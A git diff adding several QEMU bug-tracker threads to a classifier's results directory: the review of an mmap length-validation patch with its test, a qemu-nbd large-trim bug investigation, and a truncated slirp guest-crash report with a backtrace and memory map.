deletions(-) +> >>> +> >>> diff --git a/linux-user/mmap.c b/linux-user/mmap.c +> >>> index d0c50e4888..3ef69fa2d0 100644 +> >>> --- a/linux-user/mmap.c +> >>> +++ b/linux-user/mmap.c +> >>> @@ -391,14 +391,22 @@ abi_long target_mmap(abi_ulong start, abi_ulong +> len, int prot, +> >>> } +> >>> #endif +> >>> +> >>> - if (offset & ~TARGET_PAGE_MASK) { +> >>> + if (!len) { +> >>> errno = EINVAL; +> >>> goto fail; +> >>> } +> >>> +> >>> len = TARGET_PAGE_ALIGN(len); +> >>> - if (len == 0) +> >>> - goto the_end; +> >>> + if (!len) { +> >>> + errno = EINVAL; +> >>> + goto fail; +> >>> + } +> >> +> >> Why do you check twice len? +> >> TARGET_PAGE_ALIGN() rounds up the value, so if it was not 0, it cannot +> >> be now. +> > +> > I was trying to follow the kernel style but I realise TARGET_PAGE_ALIGN +> > might be a different test compared to the kernel's PAGE_ALIGN(len) for +> > overflows: +> ... +> > /* Careful about overflows.. */ +> > len = PAGE_ALIGN(len); +> > if (!len) +> > return -ENOMEM; +> > +> +> +> OK, so keep it but you should use ENOMEM, not EINVAL (and add a comment :) +> ) +> +> Thanks, +> Laurent +> + + +-- +Alex Bennée +KVM/QEMU Hacker for Linaro + + +Hi, + +Updated to cover the overflow case properly as well. + +Alex Bennée (2): + linux-user/mmap.c: handle invalid len maps correctly + tests: add check_invalid_maps to test-mmap + + linux-user/mmap.c | 15 ++++++++++++--- + tests/tcg/multiarch/test-mmap.c | 22 +++++++++++++++++++++- + 2 files changed, 33 insertions(+), 4 deletions(-) + +-- +2.17.1 + + + +I've slightly re-organised the check to more closely match the +sequence that the kernel uses in do_mmap(). We check for both the zero +case (EINVAL) and the overflow length case (ENOMEM). + +Signed-off-by: Alex Bennée <email address hidden> +Cc: umarcor <email address hidden> + +--- +v2 + - add comment on overflow +--- + linux-user/mmap.c | 15 ++++++++++++--- + 1 file changed, 12 insertions(+), 3 deletions(-) + +diff --git a/linux-user/mmap.c b/linux-user/mmap.c +index d0c50e4888..41e0983ce8 100644 +--- a/linux-user/mmap.c ++++ b/linux-user/mmap.c +@@ -391,14 +391,23 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, + } + #endif + +- if (offset & ~TARGET_PAGE_MASK) { ++ if (!len) { + errno = EINVAL; + goto fail; + } + ++ /* Also check for overflows... */ + len = TARGET_PAGE_ALIGN(len); +- if (len == 0) +- goto the_end; ++ if (!len) { ++ errno = ENOMEM; ++ goto fail; ++ } ++ ++ if (offset & ~TARGET_PAGE_MASK) { ++ errno = EINVAL; ++ goto fail; ++ } ++ + real_start = start & qemu_host_page_mask; + host_offset = offset & qemu_host_page_mask; + +-- +2.17.1 + + + +This adds a test to make sure we fail properly for a 0 length mmap. +There are most likely other failure conditions we should also check. + +Signed-off-by: Alex Bennée <email address hidden> +Reviewed-by: Richard Henderson <email address hidden> +Cc: umarcor <email address hidden> + +--- +v2 + - add test for overflow +--- + tests/tcg/multiarch/test-mmap.c | 22 +++++++++++++++++++++- + 1 file changed, 21 insertions(+), 1 deletion(-) + +diff --git a/tests/tcg/multiarch/test-mmap.c b/tests/tcg/multiarch/test-mmap.c +index 5c0afe6e49..11d0e777b1 100644 +--- a/tests/tcg/multiarch/test-mmap.c ++++ b/tests/tcg/multiarch/test-mmap.c +@@ -27,7 +27,7 @@ + #include <stdint.h> + #include <string.h> + #include <unistd.h> +- ++#include <errno.h> + #include <sys/mman.h> + + #define D(x) +@@ -435,6 +435,25 @@ void checked_write(int fd, const void *buf, size_t count) + fail_unless(rc == count); + } + ++void check_invalid_mmaps(void) ++{ ++ unsigned char *addr; ++ ++ /* Attempt to map a zero length page. */ ++ addr = mmap(NULL, 0, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); ++ fprintf(stdout, "%s addr=%p", __func__, (void *)addr); ++ fail_unless(addr == MAP_FAILED); ++ fail_unless(errno == EINVAL); ++ ++ /* Attempt to map a over length page. */ ++ addr = mmap(NULL, -4, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); ++ fprintf(stdout, "%s addr=%p", __func__, (void *)addr); ++ fail_unless(addr == MAP_FAILED); ++ fail_unless(errno == ENOMEM); ++ ++ fprintf(stdout, " passed\n"); ++} ++ + int main(int argc, char **argv) + { + char tempname[] = "/tmp/.cmmapXXXXXX"; +@@ -476,6 +495,7 @@ int main(int argc, char **argv) + check_file_fixed_mmaps(); + check_file_fixed_eof_mmaps(); + check_file_unfixed_eof_mmaps(); ++ check_invalid_mmaps(); + + /* Fails at the moment. */ + /* check_aligned_anonymous_fixed_mmaps_collide_with_host(); */ +-- +2.17.1 + + + +Le 30/07/2018 à 15:43, Alex Bennée a écrit : +> I've slightly re-organised the check to more closely match the +> sequence that the kernel uses in do_mmap(). We check for both the zero +> case (EINVAL) and the overflow length case (ENOMEM). +> +> Signed-off-by: Alex Bennée <email address hidden> +> Cc: umarcor <email address hidden> +> +> --- +> v2 +> - add comment on overflow +> --- +> linux-user/mmap.c | 15 ++++++++++++--- +> 1 file changed, 12 insertions(+), 3 deletions(-) +> +> diff --git a/linux-user/mmap.c b/linux-user/mmap.c +> index d0c50e4888..41e0983ce8 100644 +> --- a/linux-user/mmap.c +> +++ b/linux-user/mmap.c +> @@ -391,14 +391,23 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, +> } +> #endif +> +> - if (offset & ~TARGET_PAGE_MASK) { +> + if (!len) { +> errno = EINVAL; +> goto fail; +> } +> +> + /* Also check for overflows... */ +> len = TARGET_PAGE_ALIGN(len); +> - if (len == 0) +> - goto the_end; +> + if (!len) { +> + errno = ENOMEM; +> + goto fail; +> + } +> + +> + if (offset & ~TARGET_PAGE_MASK) { +> + errno = EINVAL; +> + goto fail; +> + } +> + +> real_start = start & qemu_host_page_mask; +> host_offset = offset & qemu_host_page_mask; +> +> + +Reviewed-by: Laurent Vivier <email address hidden> + + + + +Laurent Vivier <email address hidden> writes: + +> Le 30/07/2018 à 15:43, Alex Bennée a écrit: +>> I've slightly re-organised the check to more closely match the +>> sequence that the kernel uses in do_mmap(). We check for both the zero +>> case (EINVAL) and the overflow length case (ENOMEM). +>> +>> Signed-off-by: Alex Bennée <email address hidden> +>> Cc: umarcor <email address hidden> +>> +>> --- +>> v2 +>> - add comment on overflow +>> --- +>> linux-user/mmap.c | 15 ++++++++++++--- +>> 1 file changed, 12 insertions(+), 3 deletions(-) +>> +>> diff --git a/linux-user/mmap.c b/linux-user/mmap.c +>> index d0c50e4888..41e0983ce8 100644 +>> --- a/linux-user/mmap.c +>> +++ b/linux-user/mmap.c +>> @@ -391,14 +391,23 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, +>> } +>> #endif +>> +>> - if (offset & ~TARGET_PAGE_MASK) { +>> + if (!len) { +>> errno = EINVAL; +>> goto fail; +>> } +>> +>> + /* Also check for overflows... */ +>> len = TARGET_PAGE_ALIGN(len); +>> - if (len == 0) +>> - goto the_end; +>> + if (!len) { +>> + errno = ENOMEM; +>> + goto fail; +>> + } +>> + +>> + if (offset & ~TARGET_PAGE_MASK) { +>> + errno = EINVAL; +>> + goto fail; +>> + } +>> + +>> real_start = start & qemu_host_page_mask; +>> host_offset = offset & qemu_host_page_mask; +>> +>> +> +> Reviewed-by: Laurent Vivier <email address hidden> + +Are you going to take this via your queue or do you want me to re-post +with the r-b? + +-- +Alex Bennée + + +Le 30/07/2018 à 16:21, Alex Bennée a écrit : +> +> Laurent Vivier <email address hidden> writes: +> +>> Le 30/07/2018 à 15:43, Alex Bennée a écrit: +>>> I've slightly re-organised the check to more closely match the +>>> sequence that the kernel uses in do_mmap(). We check for both the zero +>>> case (EINVAL) and the overflow length case (ENOMEM). +>>> +>>> Signed-off-by: Alex Bennée <email address hidden> +>>> Cc: umarcor <email address hidden> +>>> +>>> --- +>>> v2 +>>> - add comment on overflow +>>> --- +>>> linux-user/mmap.c | 15 ++++++++++++--- +>>> 1 file changed, 12 insertions(+), 3 deletions(-) +>>> +>>> diff --git a/linux-user/mmap.c b/linux-user/mmap.c +>>> index d0c50e4888..41e0983ce8 100644 +>>> --- a/linux-user/mmap.c +>>> +++ b/linux-user/mmap.c +>>> @@ -391,14 +391,23 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, +>>> } +>>> #endif +>>> +>>> - if (offset & ~TARGET_PAGE_MASK) { +>>> + if (!len) { +>>> errno = EINVAL; +>>> goto fail; +>>> } +>>> +>>> + /* Also check for overflows... */ +>>> len = TARGET_PAGE_ALIGN(len); +>>> - if (len == 0) +>>> - goto the_end; +>>> + if (!len) { +>>> + errno = ENOMEM; +>>> + goto fail; +>>> + } +>>> + +>>> + if (offset & ~TARGET_PAGE_MASK) { +>>> + errno = EINVAL; +>>> + goto fail; +>>> + } +>>> + +>>> real_start = start & qemu_host_page_mask; +>>> host_offset = offset & qemu_host_page_mask; +>>> +>>> +>> +>> Reviewed-by: Laurent Vivier <email address hidden> +> +> Are you going to take this via your queue or do you want me to re-post +> with the r-b? + +I can take this via my queue. + +Thanks, +Laurent + + +From: Alex Bennée <email address hidden> + +This adds a test to make sure we fail properly for a 0 length mmap. +There are most likely other failure conditions we should also check. + +Signed-off-by: Alex Bennée <email address hidden> +Reviewed-by: Richard Henderson <email address hidden> +Cc: umarcor <email address hidden> +Message-Id: <email address hidden> +Signed-off-by: Laurent Vivier <email address hidden> +--- + tests/tcg/multiarch/test-mmap.c | 22 +++++++++++++++++++++- + 1 file changed, 21 insertions(+), 1 deletion(-) + +diff --git a/tests/tcg/multiarch/test-mmap.c b/tests/tcg/multiarch/test-mmap.c +index 5c0afe6e49..11d0e777b1 100644 +--- a/tests/tcg/multiarch/test-mmap.c ++++ b/tests/tcg/multiarch/test-mmap.c +@@ -27,7 +27,7 @@ + #include <stdint.h> + #include <string.h> + #include <unistd.h> +- ++#include <errno.h> + #include <sys/mman.h> + + #define D(x) +@@ -435,6 +435,25 @@ void checked_write(int fd, const void *buf, size_t count) + fail_unless(rc == count); + } + ++void check_invalid_mmaps(void) ++{ ++ unsigned char *addr; ++ ++ /* Attempt to map a zero length page. */ ++ addr = mmap(NULL, 0, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); ++ fprintf(stdout, "%s addr=%p", __func__, (void *)addr); ++ fail_unless(addr == MAP_FAILED); ++ fail_unless(errno == EINVAL); ++ ++ /* Attempt to map a over length page. */ ++ addr = mmap(NULL, -4, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); ++ fprintf(stdout, "%s addr=%p", __func__, (void *)addr); ++ fail_unless(addr == MAP_FAILED); ++ fail_unless(errno == ENOMEM); ++ ++ fprintf(stdout, " passed\n"); ++} ++ + int main(int argc, char **argv) + { + char tempname[] = "/tmp/.cmmapXXXXXX"; +@@ -476,6 +495,7 @@ int main(int argc, char **argv) + check_file_fixed_mmaps(); + check_file_fixed_eof_mmaps(); + check_file_unfixed_eof_mmaps(); ++ check_invalid_mmaps(); + + /* Fails at the moment. */ + /* check_aligned_anonymous_fixed_mmaps_collide_with_host(); */ +-- +2.17.1 + + + +From: Alex Bennée <email address hidden> + +I've slightly re-organised the check to more closely match the +sequence that the kernel uses in do_mmap(). We check for both the zero +case (EINVAL) and the overflow length case (ENOMEM). + +Signed-off-by: Alex Bennée <email address hidden> +Cc: umarcor <email address hidden> +Reviewed-by: Laurent Vivier <email address hidden> +Message-Id: <email address hidden> +Signed-off-by: Laurent Vivier <email address hidden> +--- + linux-user/mmap.c | 15 ++++++++++++--- + 1 file changed, 12 insertions(+), 3 deletions(-) + +diff --git a/linux-user/mmap.c b/linux-user/mmap.c +index d0c50e4888..41e0983ce8 100644 +--- a/linux-user/mmap.c ++++ b/linux-user/mmap.c +@@ -391,14 +391,23 @@ abi_long target_mmap(abi_ulong start, abi_ulong len, int prot, + } + #endif + +- if (offset & ~TARGET_PAGE_MASK) { ++ if (!len) { + errno = EINVAL; + goto fail; + } + ++ /* Also check for overflows... */ + len = TARGET_PAGE_ALIGN(len); +- if (len == 0) +- goto the_end; ++ if (!len) { ++ errno = ENOMEM; ++ goto fail; ++ } ++ ++ if (offset & ~TARGET_PAGE_MASK) { ++ errno = EINVAL; ++ goto fail; ++ } ++ + real_start = start & qemu_host_page_mask; + host_offset = offset & qemu_host_page_mask; + +-- +2.17.1 + + + +Alex, Laurent, I'm new to this management/development system. So, first off, thanks for working on this bug. + +I have a few (probably silly) questions: + +1. What is 'the r-b' that Alex used in #14? +2. When should I change the status of the bug? I can already see it in GitHub's mirror and in https://git.qemu.org/?p=qemu.git;a=summary. But not in the Changelog: https://wiki.qemu.org/ChangeLog/3.0#User-mode_emulation. I am not sure if it is in 'Fix Committed' or 'Fix Released' state. +3. Where did you push these commits to before they where merge in https://git.qemu.org/?p=qemu.git;a=summary? I cannot find your personal forks/branches. Are commits automatically created from the mailing list? + +Le 01/08/2018 à 00:57, umarcor a écrit : +> Alex, Laurent, I'm new to this management/development system. So, first +> off, thanks for working on this bug. +> +> I have a few (probably silly) questions: +> +> 1. What is 'the r-b' that Alex used in #14? + +"Reviewed-By:", it's a tag I've sent in answer to his e-email to say +I've reviewed his patch, and it is good for me. + +> 2. When should I change the status of the bug? I can already see it in GitHub's mirror and in https://git.qemu.org/?p=qemu.git;a=summary. But not in the Changelog: https://wiki.qemu.org/ChangeLog/3.0#User-mode_emulation. I am not sure if it is in 'Fix Committed' or 'Fix Released' state. + +I didn't update the Changelog, but the fix is now committed. It will be +released soon (07/08 or 14/08). But you should test master now to check +the commit really fixes your bug. + +> 3. Where did you push these commits to before they where merge in https://git.qemu.org/?p=qemu.git;a=summary? I cannot find your personal forks/branches. Are commits automatically created from the mailing list? + +No, sub-system maintainers collect patches from the mailing list. They +create and send a pull request (in their own git repo) to the QEMU +maintainers, and he merges the patches into the master. + +my git repo for linux-user pull request is +git://github.com/vivier/qemu.git, and generally I prepare my pull +request on linux-user-for-3.0 branch (the release number changes). + +Thanks, +Laurent + + +2018-08-01 8:25 GMT+01:00 Laurent Vivier: +> "Reviewed-By:", it's a tag I've sent in answer to his e-email to say +I've reviewed his patch, and it is good for me. + +It's clear now. Thanks. + +> I didn't update the Changelog, but the fix is now committed. It will be +released soon (07/08 or 14/08). But you should test master now to check +the commit really fixes your bug. + +I tested it, and it is fixed as expected. I changed the status of this bug accordingly. I'll change it again once it is released. + +> my git repo for linux-user pull request is +git://github.com/vivier/qemu.git, and generally I prepare my pull +request on linux-user-for-3.0 branch (the release number changes). + +Thanks again. + +Regards, +umarcor + diff --git a/results/classifier/deepseek-1/output/released."/1884831 b/results/classifier/deepseek-1/output/released."/1884831 new file mode 100644 index 00000000..e5b685c3 --- /dev/null +++ b/results/classifier/deepseek-1/output/released."/1884831 @@ -0,0 +1,182 @@ + +qemu-nbd fails to discard bigger chunks + +This report is moved from systemd to here: +https://github.com/systemd/systemd/issues/16242 + +A qemu-nbd device reports that it can discard a lot of bytes: + +cat /sys/block/nbd0/queue/discard_max_bytes +2199023255040 + +And indeed, discard works with small images: + +$ qemu-img create -f qcow2 /tmp/image.img 2M +$ sudo qemu-nbd --connect=/dev/nbd0 /tmp/image.img +$ sudo blkdiscard /dev/nbd0 + +but not for bigger ones (still smaller than discard_max_bytes): + +$ qemu-img create -f qcow2 /tmp/image.img 5G +$ sudo qemu-nbd --connect=/dev/nbd0 /tmp/image.img +$ sudo blkdiscard /dev/nbd0 + +On 6/23/20 3:19 PM, TobiasHunger wrote: +> Public bug reported: +> +> This report is moved from systemd to here: +> https://github.com/systemd/systemd/issues/16242 +> +> A qemu-nbd device reports that it can discard a lot of bytes: +> +> cat /sys/block/nbd0/queue/discard_max_bytes +> 2199023255040 + +That smells fishy. It is 0xffffffff * 512. But in reality, the NBD +protocol is (currently) capped at 32 bits, so it cannot handle any +request 4G or larger. + +It is not qemu-nbd that populates +/sys/block/nbd0/queue/discard_max_bytes, but the kernel. Are you sure +this is not a bug in the kernel's nbd.ko module, where it may be the +case that it is reporting -1 as a 32-bit value which then gets +mistakenly turned into a faulty advertisement? Can you tweak your +software to behave as if /dev/nbd0 had a discard_max_bytes of 0xfffff000 +instead? + +In fact, to prove the bug is in the kernel's nbd.ko and not in qemu-nbd, +I created an NBD server using nbdkit: + +# modprobe nbd +# nbdkit memory 5G +# nbd-client -b 512 localhost /dev/nbd0 +# cat /sys/block/nbd0/queue/discard_max_bytes +2199023255040 + +Same answer, different nbd server. So it's not qemu's fault. + +> +> And indeed, discard works with small images: +> +> $ qemu-img create -f qcow2 /tmp/image.img 2M +> $ sudo qemu-nbd --connect=/dev/nbd0 /tmp/image.img +> $ sudo blkdiscard /dev/nbd0 +> +> but not for bigger ones (still smaller than discard_max_bytes): +> +> $ qemu-img create -f qcow2 /tmp/image.img 5G +> $ sudo qemu-nbd --connect=/dev/nbd0 /tmp/image.img +> $ sudo blkdiscard /dev/nbd0 +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3226 +Virtualization: qemu.org | libvirt.org + + + +Hmm, carrying on further, with the nbd-client connection, I'm seeing that the kernel DID break things into two separate BLKDISCARD calls, as seen from the nbdkit side of things: + +# from the blkdiscard strace: +ioctl(3, BLKGETSIZE64, [5368709120]) = 0 +ioctl(3, BLKSSZGET, [512]) = 0 +ioctl(3, BLKDISCARD, [0, 5368709120]) = 0 +# from the nbdkit debug log: +nbdkit: memory.0: debug: memory: trim count=4294966784 offset=0 fua=0 +nbdkit: memory.3: debug: memory: trim count=1073742336 offset=4294966784 fua=0 + +I'm now comparing the set of ioctl calls made by nbd-client vs. qemu-nbd to see what might explain the difference for why it worked with nbd-client when the two different servers connect to the kernel nbd.ko module. In the meantime, since nbd-client worked but qemu-nbd did not, it does look like this may be qemu's problem after all. + + +Let's get nbd.ko out of the picture. The problem can be reproduced in user space (here, where I built qemu-nbd to log trace messages to stderr): + +$ truncate --size=3G file +$ qemu-nbd -f raw file --trace=nbd_\* +$ nbdsh -u nbd://localhost:10810 -c 'h.trim(3*1024*1024*1024,0)' +Traceback (most recent call last): + File "/usr/lib64/python3.8/runpy.py", line 194, in _run_module_as_main + return _run_code(code, main_globals, None, + File "/usr/lib64/python3.8/runpy.py", line 87, in _run_code + exec(code, run_globals) + File "/usr/lib64/python3.8/site-packages/nbd.py", line 1762, in <module> + nbdsh.shell() + File "/usr/lib64/python3.8/site-packages/nbdsh.py", line 100, in shell + exec (c, d, d) + File "<string>", line 1, in <module> + File "/usr/lib64/python3.8/site-packages/nbd.py", line 1098, in trim + return libnbdmod.trim (self._o, count, offset, flags) +nbd.Error: nbd_trim: trim: command failed: Input/output error (EIO) + +and looking at the trace output from qemu-nbd, I see: +493771@1592948038.044141:nbd_negotiate_success Negotiation succeeded +493771@1592948038.044167:nbd_trip Reading request +493771@1592948038.044262:nbd_receive_request Got request: { magic = 0x25609513, .flags = 0x0, .type = 0x4, from = 0, len = 3221225472 } +493771@1592948038.044272:nbd_co_receive_request_decode_type Decoding type: handle = 1, type = 4 (trim) +493771@1592948038.044291:nbd_co_send_structured_error Send structured error reply: handle = 1, error = 5 (EIO), msg = 'discard failed' + +so this is definitely a case of qemu as NBD server NOT honoring requests between 2G and 4G. I'll have a patch posted soon. + + + + +On 6/23/20 4:35 PM, Eric Blake wrote: +> Let's get nbd.ko out of the picture. The problem can be reproduced in +> user space (here, where I built qemu-nbd to log trace messages to +> stderr): +> +> $ truncate --size=3G file +> $ qemu-nbd -f raw file --trace=nbd_\* +> $ nbdsh -u nbd://localhost:10810 -c 'h.trim(3*1024*1024*1024,0)' + +> nbd.Error: nbd_trim: trim: command failed: Input/output error (EIO) +> + +> +> so this is definitely a case of qemu as NBD server NOT honoring requests +> between 2G and 4G. I'll have a patch posted soon. + +https://lists.gnu.org/archive/html/qemu-devel/2020-07/msg06592.html + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3226 +Virtualization: qemu.org | libvirt.org + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +Commit 890cbccb0 included in upstream release 5.1.0. + diff --git a/results/classifier/deepseek-1/output/reliability./1785670 b/results/classifier/deepseek-1/output/reliability./1785670 new file mode 100644 index 00000000..76a2f3c8 --- /dev/null +++ b/results/classifier/deepseek-1/output/reliability./1785670 @@ -0,0 +1,521 @@ + +Guest(ubuntu 18.04) crashes when trying uploading file + +I speficy slirp network, and I can open websites, git clone repos. But when I try to upload a file to slack, or try to do a git push, it crashes. + +My host is ubuntu 16.04 with kernel 4.15.0-29-generic, and qemu is latest source in git(commit 1fb57da72ae0886e). The command I use is + +./x86_64-softmmu/qemu-system-x86_64 -machine q35,accel=kvm -m 2048 -drive file=../qcow2/guest.qcow2 -netdev user,id=realnet0 -device e1000e,netdev=realnet0 + +The trace is as follows + +*** Error in `./x86_64-softmmu/qemu-system-x86_64': free(): invalid next size (normal): 0x00007f66d80b7300 *** +======= Backtrace: ========= +/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f66fb7967e5] +/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f66fb79f37a] +/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f66fb7a353c] +./x86_64-softmmu/qemu-system-x86_64(+0x6a8549)[0x55dc10c7d549] +./x86_64-softmmu/qemu-system-x86_64(+0x6a99d4)[0x55dc10c7e9d4] +./x86_64-softmmu/qemu-system-x86_64(+0x6ad09a)[0x55dc10c8209a] +./x86_64-softmmu/qemu-system-x86_64(+0x6a3feb)[0x55dc10c78feb] +./x86_64-softmmu/qemu-system-x86_64(+0x6a746e)[0x55dc10c7c46e] +./x86_64-softmmu/qemu-system-x86_64(+0x68fe2c)[0x55dc10c64e2c] +./x86_64-softmmu/qemu-system-x86_64(+0x685b3b)[0x55dc10c5ab3b] +./x86_64-softmmu/qemu-system-x86_64(+0x685bfd)[0x55dc10c5abfd] +./x86_64-softmmu/qemu-system-x86_64(+0x6885a8)[0x55dc10c5d5a8] +./x86_64-softmmu/qemu-system-x86_64(+0x688717)[0x55dc10c5d717] +./x86_64-softmmu/qemu-system-x86_64(+0x685d27)[0x55dc10c5ad27] +./x86_64-softmmu/qemu-system-x86_64(+0x685d54)[0x55dc10c5ad54] +./x86_64-softmmu/qemu-system-x86_64(+0x586bb8)[0x55dc10b5bbb8] +./x86_64-softmmu/qemu-system-x86_64(+0x586d92)[0x55dc10b5bd92] +./x86_64-softmmu/qemu-system-x86_64(+0x586ecd)[0x55dc10b5becd] +./x86_64-softmmu/qemu-system-x86_64(+0x593ea8)[0x55dc10b68ea8] +./x86_64-softmmu/qemu-system-x86_64(+0x59419d)[0x55dc10b6919d] +./x86_64-softmmu/qemu-system-x86_64(+0x5947df)[0x55dc10b697df] +./x86_64-softmmu/qemu-system-x86_64(+0x597ddf)[0x55dc10b6cddf] +./x86_64-softmmu/qemu-system-x86_64(+0x5989e7)[0x55dc10b6d9e7] +./x86_64-softmmu/qemu-system-x86_64(+0x58ae11)[0x55dc10b5fe11] +./x86_64-softmmu/qemu-system-x86_64(+0x30d4f6)[0x55dc108e24f6] +./x86_64-softmmu/qemu-system-x86_64(+0x30d70e)[0x55dc108e270e] +./x86_64-softmmu/qemu-system-x86_64(+0x310336)[0x55dc108e5336] +./x86_64-softmmu/qemu-system-x86_64(+0x2ac368)[0x55dc10881368] +./x86_64-softmmu/qemu-system-x86_64(+0x2ac4b2)[0x55dc108814b2] +./x86_64-softmmu/qemu-system-x86_64(+0x2ac7b8)[0x55dc108817b8] +./x86_64-softmmu/qemu-system-x86_64(+0x2ac809)[0x55dc10881809] +./x86_64-softmmu/qemu-system-x86_64(+0x32b673)[0x55dc10900673] +./x86_64-softmmu/qemu-system-x86_64(+0x2f2875)[0x55dc108c7875] +./x86_64-softmmu/qemu-system-x86_64(+0x81b91c)[0x55dc10df091c] +/lib/x86_64-linux-gnu/libpthread.so.0(+0x76ba)[0x7f66fbaf06ba] +/lib/x86_64-linux-gnu/libc.so.6(clone+0x6d)[0x7f66fb82641d] +======= Memory map: ======== +55dc105d5000-55dc112a9000 r-xp 00000000 103:02 5767220 /home/biggerfish/src/qemu/x86_64-softmmu/qemu-system-x86_64 +55dc114a9000-55dc115bd000 r--p 00cd4000 103:02 5767220 /home/biggerfish/src/qemu/x86_64-softmmu/qemu-system-x86_64 +55dc115bd000-55dc11773000 rw-p 00de8000 103:02 5767220 /home/biggerfish/src/qemu/x86_64-softmmu/qemu-system-x86_64 +55dc11773000-55dc117b5000 rw-p 00000000 00:00 0 +55dc134d6000-55dc14e20000 rw-p 00000000 00:00 0 [heap] +7f6634000000-7f6634021000 rw-p 00000000 00:00 0 +7f6634021000-7f6638000000 ---p 00000000 00:00 0 +7f663c000000-7f663c021000 rw-p 00000000 00:00 0 +7f663c021000-7f6640000000 ---p 00000000 00:00 0 +7f6642000000-7f6644000000 rw-s 00000000 00:05 4882443 /SYSV00000000 (deleted) +7f6644000000-7f6644021000 rw-p 00000000 00:00 0 +7f6644021000-7f6648000000 ---p 00000000 00:00 0 +7f66491cc000-7f66491cd000 ---p 00000000 00:00 0 +7f66491cd000-7f66499cd000 rw-p 00000000 00:00 0 +7f66499cd000-7f66499ce000 ---p 00000000 00:00 0 +7f66499ce000-7f664a1ce000 rw-p 00000000 00:00 0 +7f664a1ce000-7f664a1cf000 ---p 00000000 00:00 0 +7f664a1cf000-7f664a9cf000 rw-p 00000000 00:00 0 +7f664a9cf000-7f664a9d0000 ---p 00000000 00:00 0 +7f664a9d0000-7f664b1d0000 rw-p 00000000 00:00 0 +7f664b1d0000-7f664b1d1000 ---p 00000000 00:00 0 +7f664b1d1000-7f664b9d1000 rw-p 00000000 00:00 0 +7f664b9d1000-7f664b9d2000 ---p 00000000 00:00 0 +7f664b9d2000-7f664bad2000 rw-p 00000000 00:00 0 +7f664bad2000-7f664bad3000 ---p 00000000 00:00 0 +7f664bad3000-7f664bbd3000 rw-p 00000000 00:00 0 +7f664bbd3000-7f664bbd4000 ---p 00000000 00:00 0 +7f664bbd4000-7f664bcd4000 rw-p 00000000 00:00 0 +7f664bcd4000-7f664bcd5000 ---p 00000000 00:00 0 +7f664bcd5000-7f664c4d5000 rw-p 00000000 00:00 0 +7f664c4d5000-7f664c4d6000 ---p 00000000 00:00 0 +7f664c4d6000-7f664c5d6000 rw-p 00000000 00:00 0 +7f664c5d6000-7f664c5d7000 ---p 00000000 00:00 0 +7f664c5d7000-7f664c6d7000 rw-p 00000000 00:00 0 +7f664c6d7000-7f664c6d8000 ---p 00000000 00:00 0 +7f664c6d8000-7f664c7d8000 rw-p 00000000 00:00 0 +7f664c7d8000-7f664c7d9000 ---p 00000000 00:00 0 +7f664c7d9000-7f664c8d9000 rw-p 00000000 00:00 0 +7f664c8d9000-7f664c8da000 ---p 00000000 00:00 0 +7f664c8da000-7f664c9da000 rw-p 00000000 00:00 0 +7f664c9da000-7f664c9db000 ---p 00000000 00:00 0 +7f664c9db000-7f664cadb000 rw-p 00000000 00:00 0 +7f664cadb000-7f664cadc000 ---p 00000000 00:00 0 +7f664cadc000-7f664cbdc000 rw-p 00000000 00:00 0 +7f664cbdc000-7f664cbdd000 ---p 00000000 00:00 0 +7f664cbdd000-7f664ccdd000 rw-p 00000000 00:00 0 +7f664ccdd000-7f664ccde000 ---p 00000000 00:00 0 +7f664ccde000-7f664cdde000 rw-p 00000000 00:00 0 +7f664cdde000-7f664cddf000 ---p 00000000 00:00 0 +7f664cddf000-7f664cedf000 rw-p 00000000 00:00 0 +7f664cedf000-7f664cee0000 ---p 00000000 00:00 0 +7f664cee0000-7f664cfe0000 rw-p 00000000 00:00 0 +7f664cfe0000-7f664cfe1000 ---p 00000000 00:00 0 +7f664cfe1000-7f664d0e1000 rw-p 00000000 00:00 0 +7f664d0e1000-7f664d0e2000 ---p 00000000 00:00 0 +7f664d0e2000-7f664d1e2000 rw-p 00000000 00:00 0 +7f664d1e2000-7f664d1e3000 ---p 00000000 00:00 0 +7f664d1e3000-7f664d2e3000 rw-p 00000000 00:00 0 +7f664d2e3000-7f664d2e4000 ---p 00000000 00:00 0 +7f664d2e4000-7f664d3e4000 rw-p 00000000 00:00 0 +7f664d3e4000-7f664d3e5000 ---p 00000000 00:00 0 +7f664d3e5000-7f664d4e5000 rw-p 00000000 00:00 0 +7f664d4e5000-7f664d4e6000 ---p 00000000 00:00 0 +7f664d4e6000-7f664d5e6000 rw-p 00000000 00:00 0 +7f664d5e6000-7f664d5e7000 ---p 00000000 00:00 0 +7f664d5e7000-7f664d6e7000 rw-p 00000000 00:00 0 +7f664d6e7000-7f664d6e8000 ---p 00000000 00:00 0 +7f664d6e8000-7f664d7e8000 rw-p 00000000 00:00 0 +7f664d7e8000-7f664d7e9000 ---p 00000000 00:00 0 +7f664d7e9000-7f664d8e9000 rw-p 00000000 00:00 0 +7f664d8e9000-7f664d8ea000 